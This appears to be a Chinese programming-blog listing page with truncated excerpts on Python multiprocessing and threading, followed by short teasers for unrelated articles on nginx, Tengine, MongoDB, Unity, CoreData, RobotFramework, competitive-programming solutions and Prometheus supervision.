一.python并发编程之多进程 1.1 multiprocessing模块介绍 由于GIL的存在,python中的多线程其实并不是真正的多线程,如果想要充分地使用多核CPU的资源,在python中大 ...
- Python并发编程二(多线程、协程、IO模型)
1.python并发编程之多线程(理论) 1.1线程概念 在传统操作系统中,每个进程有一个地址空间,而且默认就有一个控制线程 线程顾名思义,就是一条流水线工作的过程(流水线的工作需要电源,电源就相当于 ...
随机推荐
- Serverless云上作战阵型 | 通过云函数使用云数据库快速突破音障
随着航空塔台的指令在耳边响起,飞行员奔向此次作战行动的两架座机.雷厉风行的爬进驾驶舱,关上舱盖,迅速下载简化操作的Demo包到机载电脑,从容的打开发动机,驾驶战斗机缓缓滑入跑道,后面僚机也已准备就绪. ...
- Linux系统运维之负载均衡Tengine
一.介绍 Tengine是由淘宝网发起的Web服务器项目.它在Nginx的基础上,针对大访问量网站的需求,添加了很多高级功能和特性.Tengine的性能和稳定性已经在大型的网站如淘宝网,天猫商城等得到 ...
- .Net下验证MongoDB 的 Linq 模式联合查询是否可用
MongoDB.Driver 类库提供了 Linq 查询的支持.然而,在使用 Linq 进行联合查询时,是否能够正确转换为 MongoDB 底层的查询语句还有待验证.今天,我将进行实验来验证一下. 输 ...
- Unity的IPreprocessBuild:深入解析与实用案例
Unity IPreprocessBuild Unity IPreprocessBuild是Unity引擎中的一个非常有用的功能,它可以让开发者在构建项目时自动执行一些操作.这个功能可以帮助开发者提高 ...
- iOS CoreData总结
相关主要类: NSManagedObjectContext 管理对象,上下文,持久性存储模型对象,处理数据与应用的交互 NSManagedObjectModel 被管理的数据模型,数据结构 NSPer ...
- CF1829H Don't Blame Me题解
题意: 给定一个长度为 \(n\) 的数组,选择它的一个子序列(不一定要连续的),问有多少种选法使得它们 AND 的值的二进制表示法中有 \(k\) 个 \(1\). 思路: 这个题就是一个简单的 D ...
- 2023牛客暑期多校训练营5 ABCDEGHI
比赛链接 A 题解 知识点:莫队,树状数组. 区间询问显然可以离线莫队,考虑端点移动对答案的影响. 不妨先考虑右端点右移一个位置,对答案的改变.假设右端点右移后在 \(r\) ,我们先要知道 \([l ...
- RobotFrameWork环境搭建及使用
RF环境搭建 首先安装python并且配置python环境变量 pip install robotframework pip install robotframework-ride 生产桌面快捷方式 ...
- [nginx]防范空主机头
空主机头防范主要是防止别人恶意将域名解析到服务器IP上. 配置示例 方式一,增加vhost # http的空主机头防范 server { listen 80 default; server_name ...
- 使用supervisor守护Prometheus进程
使用supervisor守护Prometheus进程 目录 使用supervisor守护Prometheus进程 安装supervisor 安装Prometheus监控系统 配置supervisor ...